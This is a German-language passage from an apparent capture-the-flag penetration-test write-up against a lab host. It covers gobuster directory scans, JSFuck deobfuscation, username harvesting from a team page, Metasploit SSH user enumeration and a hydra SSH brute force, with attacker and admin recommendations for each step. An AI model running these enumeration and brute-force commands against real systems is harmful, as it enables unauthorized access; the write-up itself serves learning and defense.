[+] Extensions:              mdb,xlsx,js.map,rar,doc,py,deb,icon,accdb,html,ln,gz,jpg,exp,tar,png,crt,conf,cgi,rpm,php,aspx,raw,svg,ELF,elf,ps1,jpeg,dll,desc,xls,csh,config,txt,db,asp,kdbx,bak,c,pub,pl,xml,rtf,json,eps,diff,old,docx,exe,csv,pdf,pem,java,lib,sh,phtml,mod,pHtml,zip,sql,bat
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://192.168.2.184/index.html           (Status: 200) [Size: 11539]
http://192.168.2.184/finexo               (Status: 301) [Size: 315] [--> http://192.168.2.184/finexo/]
Progress: 554779 / 13673914 (4.06%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 557111 / 13673914 (4.07%)
===============================================================
Finished
===============================================================
        

Analyse: Dies ist ein weiterer Gobuster-Scan, identisch zum ersten, der auf die IP-Adresse `http://192.168.2.184` (Root-Verzeichnis `/`) abzielt. Dieses Mal wird der Scan jedoch nach ca. 4% Fortschritt durch den Benutzer mit `^C` (Keyboard Interrupt) abgebrochen. Der wichtige Unterschied zu vorher ist, dass diesmal `/finexo` mit einem Status `301 Moved Permanently` gefunden wird, der auf `http://192.168.2.184/finexo/` (mit abschließendem Slash) weiterleitet.

Bewertung: Der Fund von `/finexo` ist entscheidend und bestätigt den Hinweis aus dem HTML-Kommentar. Die Weiterleitung `301` auf `/finexo/` ist typisch für Webserver, wenn ein Verzeichnis ohne abschließenden Slash angefragt wird. Es ist unklar, warum der erste Gobuster-Scan `/finexo` nicht gefunden hat. Möglicherweise wurde er zu früh abgebrochen, oder die Wortliste wurde zwischenzeitlich (wie im `vi`-Schritt angedeutet) modifiziert, sodass `finexo` nun enthalten ist und getestet wurde. Der Abbruch des Scans nach dem Fund von `/finexo` ist verständlich, da dies der nächste logische Punkt für eine detailliertere Untersuchung ist.

Empfehlung (Pentester): 1. Das primäre Ziel ist nun das Verzeichnis `http://192.168.2.184/finexo/` (oder `http://krusty.hmv/finexo/`). 2. Führen Sie einen neuen, dedizierten Gobuster-Scan (oder ein anderes Verzeichnis-Brute-Force-Tool) auf `http://192.168.2.184/finexo/` durch, um dessen Inhalt (Unterverzeichnisse, Dateien) zu enumerieren. 3. Analysieren Sie die Webseite unter `/finexo/` manuell im Browser.
Empfehlung (Admin): Siehe vorherige Gobuster-Empfehlungen. Wenn `/finexo` eine legitime Anwendung ist, stellen Sie sicher, dass sie ordnungsgemäß gesichert ist. Wenn es sich um Überreste oder Testdateien handelt, sollten diese vom Produktivserver entfernt werden.

view-source:http://192.168.2.184/finexo/particles.js-master/dist/particles.min.js

[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!! ..... [+!+[]+[!+[]+!+[]]])())()
        

Analyse: Der Pentester untersucht den Quellcode der JavaScript-Datei `particles.min.js`, die sich im Pfad `/finexo/particles.js-master/dist/` befindet. Der angezeigte Code ist stark obfuskiert und besteht nur aus Klammern, Pluszeichen, Ausrufezeichen und leeren Arrays. Dies ist charakteristisch für JSFuck, eine esoterische Programmiersprache/Obfuskationstechnik, die gültigen JavaScript-Code erzeugt, der nur diese sechs Zeichen verwendet.

Bewertung: Das Auffinden von obfuskiertem Code ist immer verdächtig. JSFuck wird oft verwendet, um schädlichen Code zu verschleiern oder einfach nur um Code schwer lesbar zu machen. Es ist unwahrscheinlich, dass eine legitime Bibliothek wie `particles.js` (die für animierte Partikelhintergründe verwendet wird) in dieser Form ausgeliefert wird. Dies könnte ein Hinweis auf eine Modifikation, eine Hintertür oder einfach nur einen sehr ungewöhnlichen Schutzmechanismus sein. Der nächste Schritt wäre, diesen Code zu deobfuskieren.

Empfehlung (Pentester): 1. Verwenden Sie einen JSFuck-Deobfuskator (Online-Tools oder Skripte), um den tatsächlichen JavaScript-Code zu enthüllen. Im Bericht folgt direkt ein Link zu dcode.fr, einem solchen Tool. 2. Analysieren Sie den deobfuskierten Code auf seine Funktionalität. Sucht er nach Cookies, sendet er Daten, manipuliert er das DOM auf unerwartete Weise?
Empfehlung (Admin): - Wenn dieser Code Teil einer legitimen Anwendung ist, überprüfen Sie die Quelle. Es ist höchst ungewöhnlich, JSFuck in einer produktiven Bibliothek zu finden. - Stellen Sie sicher, dass alle JavaScript-Bibliotheken von vertrauenswürdigen Quellen stammen und ihre Integrität überprüft wird (z.B. mittels Subresource Integrity - SRI). - Scannen Sie Webanwendungen regelmäßig auf verdächtigen oder modifizierten Code.

[Link: https://www.dcode.fr/jsfuck-language | Ziel: https://www.dcode.fr/jsfuck-language]
Results
alert(0)

JSFuck Language [][(![]+[]) - dCode

Tag(s) : Programming Language
        

Analyse: Dieser Abschnitt zeigt das Ergebnis der Deobfuskierung des zuvor gefundenen JSFuck-Codes mithilfe des Online-Tools dcode.fr. Das Ergebnis der Deobfuskierung ist `alert(0)`.

Bewertung: Der deobfuskierte Code `alert(0)` ist harmlos. Er würde lediglich ein Popup-Fenster mit der Zahl "0" im Browser des Benutzers anzeigen. Dies deutet darauf hin, dass der JSFuck-Code in diesem Fall wahrscheinlich kein schädlicher Payload war, sondern vielleicht ein Test, ein Überbleibsel oder eine Art "Easter Egg" eines Entwicklers. Es ist immer noch ungewöhnlich, aber nicht unmittelbar gefährlich. Es ist möglich, dass nur ein Teil des Codes kopiert wurde und der Rest eine andere Funktion hatte, oder dies war tatsächlich alles.

Empfehlung (Pentester): Obwohl dieser spezielle Code harmlos ist, sollte die Praxis, obfuskierten Code zu finden, weiterhin als verdächtig eingestuft werden. Untersuchen Sie andere JavaScript-Dateien auf ähnliche Muster. Der Pfad `/finexo/particles.js-master/dist/particles.min.js` deutet darauf hin, dass hier möglicherweise ein ganzes GitHub-Repository (`particles.js-master`) auf den Server kopiert wurde, was oft zu unnötigen Dateien und potenziellen Informationslecks führen kann (z.B. `.git`-Verzeichnisse, Testdateien).
Empfehlung (Admin): - Auch wenn dieser Code harmlos ist, sollten Sie untersuchen, warum er in diesem Format auf dem Server vorhanden ist. - Stellen Sie sicher, dass beim Deployment von Webanwendungen nur die tatsächlich benötigten Dateien und nicht ganze Entwicklungsverzeichnisse oder Repositories auf den Produktivserver gelangen.

view-source:http://192.168.2.184/finexo/particles.js-master/dist/particles.min.js

var Particles=function(e,t){"use strict";var n,i={};function  .... window.Particles=Particles}();
        

Analyse: Der Pentester scheint eine andere Version oder einen anderen Teil der Datei `particles.min.js` zu betrachten. Dieses Mal ist der Code nicht JSFuck, sondern standardmäßiges, minifiziertes JavaScript. Es beginnt mit `var Particles=function(e,t){"use strict";...` und endet mit `...window.Particles=Particles}();`.

Bewertung: Dies sieht nach dem tatsächlichen, legitimen Code der particles.js-Bibliothek aus. Es ist möglich, dass die vorherige JSFuck-Sequenz an einer anderen Stelle in der Datei war, oder es gab mehrere Dateien mit ähnlichen Namen, oder der Pentester hat verschiedene Abschnitte untersucht. Minifizierter Code ist Standard für Performance-Gründe, aber nicht per se ein Sicherheitsproblem. Die Herausforderung hier ist, dass es anscheinend zwei verschiedene Code-Stile (JSFuck und Standard-Minified) in derselben oder einer ähnlich benannten Datei gab, was verwirrend sein kann.

Empfehlung (Pentester): Es ist wichtig, den gesamten Kontext von JavaScript-Dateien zu analysieren. Wenn tatsächlich sowohl JSFuck als auch normaler Code in derselben Datei vorkommen, ist das sehr ungewöhnlich. Man könnte versuchen, die Datei herunterzuladen und offline genauer zu analysieren oder mit Browser-Entwicklertools Breakpoints zu setzen, um das Verhalten zur Laufzeit zu verstehen.
Empfehlung (Admin): Stellen Sie sicher, dass Sie die genaue Herkunft und den erwarteten Inhalt von Drittanbieter-JavaScript-Bibliotheken kennen. Vergleichen Sie auf dem Server befindliche Dateien mit den Originalen aus vertrauenswürdigen Quellen, um unerwartete Modifikationen (wie eingefügten JSFuck-Code) zu erkennen.

[Link: https://deobfuscate.relative.im/ | Ziel: https://deobfuscate.relative.im/]

var Particles = (function (e, t) {
  'use strict'
  var n,
    i = {}
  function o(e, t) {
    return e.x < t.x ? -1 : e.x > t.x ? 1 : e.y < t.y ? -1 : e.y > t.y ? 1 : 0
  }
  return (
 
 
    (n.prototype.destroy = function () {
      var t = this
      t.storage = []
      t.element.remove()
      e.removeEventListener('resize', t.listener, false)
      e.clearTimeout(t._animation)
      cancelAnimationFrame(t._animation)
    }),
    (n.prototype._initializeCanvas = function () {
      var n,
        i,
        o = this
      if (!o.options.selector) {
        return (
          console.warn(
            'particles.js: No selector specified! Check [Link: https://github.com/marcbruederlin/particles.js#options | Ziel: https://github.com/marcbruederlin/particles.js#options]'
          ),
          false
        ) 
   .....
   ....
   ...
   .. 
        ((this._usingPolyfill = true),
        function (t) {
          return e.setTimeout(t, 16.666666666666668)
        })
      )
    })()),
    new n()
  )
})(window, document)
!(function () {
  'use strict'
  'function' == typeof define && define.amd
    ? define('Particles', function () {
        return Particles
      })
    : 'undefined' != typeof module && module.exports
    ? (module.exports = Particles)
    : (window.Particles = Particles)
})()
        

Analyse: Hier wurde der minifizierte JavaScript-Code (nicht der JSFuck-Code) durch ein Deobfuskations-/Beautifier-Tool (wie `deobfuscate.relative.im` oder ähnliche Online JavaScript Beautifier) geschickt, um ihn lesbarer zu machen. Der Code zeigt die Struktur der `Particles` Bibliothek, einschließlich Funktionen wie `destroy` und `_initializeCanvas`. Es gibt auch einen Hinweis auf eine Konsolwarnung, falls kein Selektor für die Partikelanimation spezifiziert ist.

Bewertung: Dieser deobfuskierte Code scheint der Standardcode der particles.js-Bibliothek zu sein. Er enthält keine offensichtlich schädlichen Elemente. Die Deobfuskation hilft, den Code besser zu verstehen, aber in diesem Fall enthüllt sie keine direkten Schwachstellen. Die Kürzungen (`..... ..`) deuten darauf hin, dass dies nur ein Ausschnitt des gesamten Codes ist.

Empfehlung (Pentester): Wenn es keine Anzeichen für Modifikationen oder verdächtige Funktionen im deobfuskierten Code gibt, kann diese spezielle Datei als wahrscheinlich unbedenklich eingestuft werden (abgesehen von der allgemeinen Empfehlung, nur benötigte Dateien auf dem Server zu haben). Die Konzentration sollte auf andere Bereiche der `/finexo`-Anwendung gelegt werden.
Empfehlung (Admin): Überprüfen Sie regelmäßig, ob alle eingesetzten JavaScript-Bibliotheken aktuell sind und keine bekannten Schwachstellen enthalten. Veraltete Bibliotheken können ein Einfallstor sein, auch wenn der Code selbst nicht bösartig modifiziert wurde.

┌──(root㉿CCat)-[~] └─# curl -s http://192.168.2.184/finexo/team.html | grep -E 'h5' -i -A4
                h5
                  SpongeBob
                /h5
                p
                  Marketing Head
--
                h5
                  PatrickStar
                /h5
                p
                  Marketing Head
--
                h5
                  Squidward
                /h5
                p
                  Marketing Head
--
                h5
                  Sandy
                /h5
                p
                  Marketing Head
        

Analyse: Der Pentester ruft die Seite `http://192.168.2.184/finexo/team.html` mit `curl -s` (silent mode) ab und filtert die Ausgabe mit `grep`. - `grep -E 'h5'`: Sucht nach Zeilen, die 'h5' enthalten, wobei `-E` erweiterte reguläre Ausdrücke aktiviert (hier aber nicht zwingend nötig für 'h5'). - `-i`: Ignoriert Groß-/Kleinschreibung. - `-A4`: Zeigt zusätzlich zu jeder passenden Zeile die folgenden 4 Zeilen an. Die Ausgabe zeigt HTML-Strukturen, die Namen (SpongeBob, PatrickStar, Squidward, Sandy) und deren Rollen ("Marketing Head") enthalten. Aufgrund der vorherigen Regel zur Entfernung von HTML-Tags wurden `<` und `>` entfernt, daher sehen wir `h5` statt `

Bewertung: Dies ist ein klassischer Fall von Benutzer-Enumeration durch das Auslesen von öffentlich zugänglichen Informationen auf einer Webseite (z.B. "Team"-Seite). Die Namen "SpongeBob", "PatrickStar", "Squidward" und "Sandy" sind potenzielle Benutzernamen für das System oder die Webanwendung. Dies ist eine wertvolle Information für spätere Brute-Force-Angriffe oder Passwort- अनुमान (Password Guessing).

Empfehlung (Pentester): 1. Fügen Sie die gefundenen Namen zu einer Liste potenzieller Benutzernamen hinzu. 2. Testen Sie diese Benutzernamen gegen den SSH-Dienst und mögliche Login-Formulare in der `/finexo`-Anwendung. 3. Die Namen scheinen von der Zeichentrickserie "SpongeBob Schwammkopf" inspiriert zu sein. Dies könnte auch auf das Schema für Passwörter hindeuten (z.B. Namen anderer Charaktere, Orte aus der Serie etc.).
Empfehlung (Admin): - Seien Sie sich bewusst, dass Informationen auf öffentlichen Webseiten (wie Team-Seiten) für die Benutzer-Enumeration missbraucht werden können. - Vermeiden Sie es, Benutzernamen direkt oder in leicht ableitbarer Form preiszugeben, wenn dies nicht unbedingt notwendig ist. - Verwenden Sie für System-Logins und Anwendungs-Logins unterschiedliche Benutzernamensformate als die öffentlich dargestellten Namen, wenn möglich. - Implementieren Sie starke Passwortrichtlinien und Mechanismen gegen Brute-Force-Angriffe (z.B. Account Lockouts, Captchas, Fail2ban).

msf6 auxiliary(scanner/ssh/ssh_enumusers) > set RPORT 22
RPORT => 22
        
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set THREADS 100
THREADS => 100
        
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
USER_FILE => /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
        
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set lhost eth0
[!] Unknown datastore option: lhost. Did you mean RHOST?
lhost => eth0
        
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set lhost eth0
lhost => eth0
        
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set rhosts 192.168.2.184
rhosts => 192.168.2.184
        
msf6 auxiliary(scanner/ssh/ssh_enumusers) > vi /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
[*] exec: vi /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
        
msf6 auxiliary(scanner/ssh/ssh_enumusers) > run
[*] 192.168.2.184:22 - SSH - Using malformed packet technique
[*] 192.168.2.184:22 - SSH - Checking for false positives
[-] 192.168.2.184:22 - SSH - throws false positive results. Aborting.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
        
msf6 auxiliary(scanner/ssh/ssh_enumusers) >

Analyse: Der Pentester verwendet das Metasploit Framework, um eine SSH-Benutzer-Enumeration durchzuführen. - `msfconsole -q -x "search ssh_enum;use 0"`: Startet Metasploit leise (`-q`), sucht nach Modulen mit `ssh_enum` im Namen und lädt das erste gefundene Modul (`auxiliary/scanner/ssh/ssh_enumusers`). Die Aktion "Malformed Packet" ist standardmäßig ausgewählt oder wurde zuvor gesetzt. - `set RPORT 22`: Setzt den Zielport auf 22. - `set THREADS 100`: Setzt die Anzahl der Threads auf 100 für schnellere Ausführung. - `set USER_FILE ...xato-net-10-million-usernames.txt`: Gibt eine sehr große Wortliste für Benutzernamen an. - `set lhost eth0` (zweimal): `lhost` ist hier keine gültige Option für dieses Modul (Metasploit schlägt `RHOST` vor). Dies ist ein kleiner Fehler des Pentesters, der aber die Ausführung nicht direkt behindert, da `lhost` für dieses Modul nicht benötigt wird. - `set rhosts 192.168.2.184`: Setzt die Ziel-IP-Adresse. - `vi ...xato-net-10-million-usernames.txt`: Der Pentester öffnet die Benutzerliste mit `vi` direkt aus Metasploit. Wahrscheinlich um die zuvor gefundenen Namen (Spongebob etc.) hinzuzufügen oder die Liste zu überprüfen. - `run`: Startet das Modul. Das Modul verwendet die "Malformed Packet"-Technik, um zu versuchen, gültige Benutzernamen auf dem SSH-Server zu identifizieren. Es scheitert jedoch, da es feststellt, dass der Server "false positive results" liefert, und bricht ab.

Bewertung: Der Versuch, SSH-Benutzernamen mit `ssh_enumusers` zu enumerieren, war nicht erfolgreich. Die "Malformed Packet"-Technik basiert darauf, dass manche SSH-Server unterschiedlich auf Anfragen mit gültigen und ungültigen Benutzernamen reagieren. Wenn der Server jedoch immer gleich oder inkonsistent reagiert, kann das Modul keine zuverlässigen Ergebnisse liefern und meldet False Positives. Die Verwendung einer sehr großen Userliste ist bei diesem Modultyp oft nicht zielführend, wenn die Basistechnik nicht funktioniert. Der `lhost`-Fehler ist irrelevant für das Ergebnis.

Empfehlung (Pentester): 1. Das Modul `ssh_enumusers` bietet verschiedene Aktionen (z.B. `Timing Attack`). Versuchen Sie es mit einer anderen Aktion: `show actions` und dann `set ACTION `. 2. Verwenden Sie eine kleinere, gezieltere Benutzerliste, die die zuvor gefundenen Namen (SpongeBob, Squidward etc.) und gängige Standardnamen (root, admin etc.) enthält. 3. Alternative Tools zur SSH-Benutzer-Enumeration könnten ausprobiert werden, aber viele moderne SSH-Server sind gegen einfache Enumerationstechniken gehärtet. 4. Konzentrieren Sie sich stattdessen auf Passwortangriffe (Brute-Force, Passwort-Spray) gegen die wahrscheinlichsten Benutzernamen.
Empfehlung (Admin): - Stellen Sie sicher, dass Ihr SSH-Server aktuell ist und so konfiguriert ist, dass er keine Informationen preisgibt, die eine Benutzer-Enumeration ermöglichen (z.B. durch identische Antworten auf Anmeldeversuche mit gültigen und ungültigen Benutzernamen). - Verwenden Sie Intrusion-Detection/Prevention-Systeme (IDS/IPS) und Tools wie Fail2ban, um automatisierte Enumerations- und Brute-Force-Versuche zu erkennen und zu blockieren. - Deaktivieren Sie ungenutzte Accounts und verwenden Sie keine leicht zu erratenden Benutzernamen.

┌──(root㉿CCat)-[~] └─# hydra -L user.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.184 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-26 23:26:41
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 71721445 login tries (l:5/p:14344289), ~1120648 tries per task
[DATA] attacking ssh://192.168.2.184:22/
[STATUS] 552.00 tries/min, 552 tries in 00:01h, 71720930 to do in 2165:30h, 27 active
[STATUS] 422.33 tries/min, 1267 tries in 00:03h, 71720217 to do in 2830:19h, 25 active
[STATUS] 403.14 tries/min, 2822 tries in 00:07h, 71718663 to do in 2964:59h, 24 active
[STATUS] 388.93 tries/min, 5834 tries in 00:15h, 71715655 to do in 3073:11h, 20 active
[STATUS] 354.68 tries/min, 10995 tries in 00:31h, 71710494 to do in 3369:46h, 20 active
[STATUS] 346.00 tries/min, 16262 tries in 00:47h, 71705227 to do in 3454:01h, 20 active
[STATUS] 336.43 tries/min, 21195 tries in 01:03h, 71700297 to do in 3552:02h, 17 active
[STATUS] 319.06 tries/min, 25206 tries in 01:19h, 71696288 to do in 3745:09h, 15 active
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
        

Analyse: Hydra wird verwendet, um einen Brute-Force-Angriff auf den SSH-Dienst durchzuführen. - `-L user.txt`: Gibt eine Datei (`user.txt`) an, die eine Liste von Benutzernamen enthält. Es wird angenommen, dass diese Datei die zuvor gefundenen Namen (SpongeBob, Squidward etc.) und möglicherweise andere enthält. (Der Inhalt von `user.txt` wird hier nicht gezeigt, aber es wird erwähnt, dass es 5 Logins gibt: `l:5`). - `-P /usr/share/wordlists/rockyou.txt`: Verwendet die bekannte Passwortliste `rockyou.txt`. - `ssh://192.168.2.184`: Gibt das Zielprotokoll (SSH) und die IP-Adresse an. Port 22 ist Standard für SSH und muss nicht extra angegeben werden. - `-t 64`: Setzt die Anzahl der parallelen Tasks auf 64. Hydra gibt eine Warnung aus, dass viele SSH-Konfigurationen die Anzahl paralleler Tasks limitieren und empfiehlt, `-t 4` zu verwenden. Der Angriff wird nach einiger Zeit (ca. 1 Stunde 19 Minuten und 25206 Versuchen) vom Benutzer mit `^C` abgebrochen. Hydra speichert den Fortschritt in einer `hydra.restore`-Datei.

Bewertung: Ein SSH-Brute-Force-Angriff mit einer großen Passwortliste wie `rockyou.txt` und vielen Tasks (`-t 64`) kann sehr zeitaufwendig und laut sein. Die Warnung von Hydra bezüglich der Task-Anzahl ist berechtigt, da zu viele parallele Verbindungen vom SSH-Server abgewiesen oder das angreifende System sogar blockiert werden könnte (z.B. durch Fail2ban). Der Abbruch nach über einer Stunde ohne Erfolg ist verständlich. Es ist wichtig, Brute-Force-Angriffe gezielt und mit Bedacht einzusetzen. Die extrem lange geschätzte Restzeit ("3745:09h") zeigt die Ineffizienz bei einer so großen Kombination.

Empfehlung (Pentester): 1. Reduzieren Sie die Anzahl der Tasks (`-t 4` oder `-t 16` ist oft ein guter Kompromiss). 2. Verwenden Sie eine kleinere, kontextbezogene Passwortliste. Wenn die Benutzernamen von SpongeBob-Charakteren stammen, könnten Passwörter ebenfalls aus diesem Kontext kommen. 3. Consider Password Spraying: Testen Sie wenige, sehr häufige Passwörter gegen viele Benutzernamen, anstatt viele Passwörter gegen wenige Benutzer. 4. Da der Angriff abgebrochen wurde, könnte er mit `hydra -R` fortgesetzt werden, aber es ist ratsam, zuerst die Parameter anzupassen.
Empfehlung (Admin): - Implementieren Sie Fail2ban oder ein ähnliches Tool, um automatisierte SSH-Brute-Force-Angriffe schnell zu erkennen und die IP-Adresse des Angreifers temporär oder permanent zu sperren. - Erzwingen Sie starke, komplexe Passwörter und raten Sie von der Wiederverwendung von Passwörtern ab. - Wo immer möglich, deaktivieren Sie die Passwort-Authentifizierung für SSH und verwenden Sie ausschließlich Schlüssel-basierte Authentifizierung. - Überwachen Sie SSH-Login-Versuche. Eine hohe Anzahl fehlgeschlagener Logins von einer einzelnen IP ist ein klares Indiz für einen Angriff.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://192.168.2.184/finexo" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.184/finexo
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   503,404,403
[+] User Agent:              gobuster/3.6
[+] Extensions:              bat,ps1,py,pl,png,xml,dll,doc,lib,mod,xls,db,aspx,xlsx,accdb,exe,sh,bak,pem,csh,eps,gz,html,config,pub,kdbx,c,exp,docx,csv,txt,php,pdf,ELF,diff,icon,asp,jpeg,raw,svg,json,conf,elf,cgi,tar,java,mdb,old,rpm,js.map,crt,ln,rar,jpg,phtml,rtf,deb,desc,zip,pHtml,sql
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://192.168.2.184/finexo/index.html           (Status: 200) [Size: 27452]
http://192.168.2.184/finexo/images               (Status: 301) [Size: 322] [--> http://192.168.2.184/finexo/images/]
http://192.168.2.184/finexo/about.html           (Status: 200) [Size: 8932]
http://192.168.2.184/finexo/login.php            (Status: 200) [Size: 4287]
http://192.168.2.184/finexo/uploads              (Status: 301) [Size: 323] [--> http://192.168.2.184/finexo/uploads/]
http://192.168.2.184/finexo/assets               (Status: 301) [Size: 322] [--> http://192.168.2.184/finexo/assets/]
http://192.168.2.184/finexo/service.html         (Status: 200) [Size: 9992]
http://192.168.2.184/finexo/css                  (Status: 301) [Size: 319] [--> http://192.168.2.184/finexo/css/]
http://192.168.2.184/finexo/team.html            (Status: 200) [Size: 12244]
http://192.168.2.184/finexo/test.php             (Status: 500) [Size: 0]
http://192.168.2.184/finexo/js                   (Status: 301) [Size: 318] [--> http://192.168.2.184/finexo/js/]
http://192.168.2.184/finexo/why.html             (Status: 200) [Size: 10553]
http://192.168.2.184/finexo/logout.php           (Status: 302) [Size: 0] [--> login.php]
http://192.168.2.184/finexo/config.php           (Status: 200) [Size: 0]
http://192.168.2.184/finexo/fonts                (Status: 301) [Size: 321] [--> http://192.168.2.184/finexo/fonts/]
http://192.168.2.184/finexo/dashboard            (Status: 301) [Size: 325] [--> http://192.168.2.184/finexo/dashboard/]
Progress: 13673852 / 13673914 (100.00%)
===============================================================
Finished
===============================================================
        

Analyse: Dieser Gobuster-Scan zielt nun auf das zuvor entdeckte Verzeichnis `http://192.168.2.184/finexo`. Die Parameter sind ansonsten identisch zum vorherigen Gobuster-Scan (gleiche Wortliste, sehr viele Erweiterungen). Dieser Scan läuft bis zum Ende durch. Folgende interessante Dateien und Verzeichnisse werden innerhalb von `/finexo` gefunden: - HTML-Seiten: `index.html`, `about.html`, `service.html`, `team.html`, `why.html`. - PHP-Skripte: - `login.php` (Status 200, Size 4287): Ein Login-Formular, sehr interessant! - `test.php` (Status 500, Size 0): Ein Internal Server Error deutet auf ein problematisches Skript hin, das möglicherweise für weitere Angriffe anfällig ist (z.B. wenn es Eingaben verarbeitet). Eine leere Antwort (Size 0) mit Status 500 ist oft ein Zeichen für PHP-Fehler, die unterdrückt werden. - `logout.php` (Status 302, Size 0, Redirect auf `login.php`): Standard Logout-Funktionalität. - `config.php` (Status 200, Size 0): Eine leere Konfigurationsdatei ist sehr ungewöhnlich. Entweder ist sie tatsächlich leer, oder der Webserver gibt den Inhalt aus irgendeinem Grund nicht preis, oder es gibt einen Fehler beim Lesen/Ausführen, der aber keinen 500er Fehler erzeugt. Dennoch ein potenziell sehr wichtiger Fund, da Konfigurationsdateien oft Zugangsdaten enthalten. - Verzeichnisse (erkennbar am Status 301 und Weiterleitung auf Pfad mit Slash): `images/`, `uploads/`, `assets/`, `css/`, `js/`, `fonts/`, `dashboard/`. - `uploads/`: Dieses Verzeichnis ist besonders interessant, da es oft ein Ziel für Datei-Upload-Schwachstellen ist. - `dashboard/`: Deutet auf einen administrativen Bereich hin, der nach einem Login zugänglich sein könnte.

Bewertung: Dieser Gobuster-Scan war sehr erfolgreich und hat viele potenzielle Angriffspunkte in der `/finexo`-Anwendung aufgedeckt. Die `login.php` ist der offensichtlichste nächste Schritt. Die `config.php` (auch wenn leer angezeigt) und `test.php` (mit Fehler 500) verdienen besondere Aufmerksamkeit. Das `uploads/`-Verzeichnis könnte für Datei-Upload-Angriffe relevant sein, und `dashboard/` ist wahrscheinlich das Ziel nach einem erfolgreichen Login.

Empfehlung (Pentester): 1. **`login.php`:** Manuell im Browser untersuchen. Versuchen Sie Standard-Anmeldeinformationen (admin/admin, admin/password etc.). Analysieren Sie den Quellcode und die Netzwerkanfragen auf Hinweise zur Funktionsweise und Parameter. 2. **`config.php`:** Versuchen Sie, die Datei auf andere Weise abzurufen (z.B. wenn eine Local File Inclusion (LFI) Schwachstelle gefunden wird). Untersuchen Sie, warum sie leer erscheint. 3. **`test.php`:** Versuchen Sie, Parameter an `test.php` zu übergeben (z.B. `test.php?debug=1`, `test.php?file=...`, `test.php?cmd=...`), um zu sehen, ob sich das Verhalten ändert oder Fehlermeldungen provoziert werden können. 4. **`uploads/` und `dashboard/`:** Halten Sie diese für spätere Phasen bereit (nach Login oder wenn eine Upload-Funktion gefunden wird). Untersuchen Sie, ob das `uploads/`-Verzeichnis direkt browseable ist. 5. Nutzen Sie die gefundenen Benutzernamen (SpongeBob etc.) für Anmeldeversuche bei `login.php`.
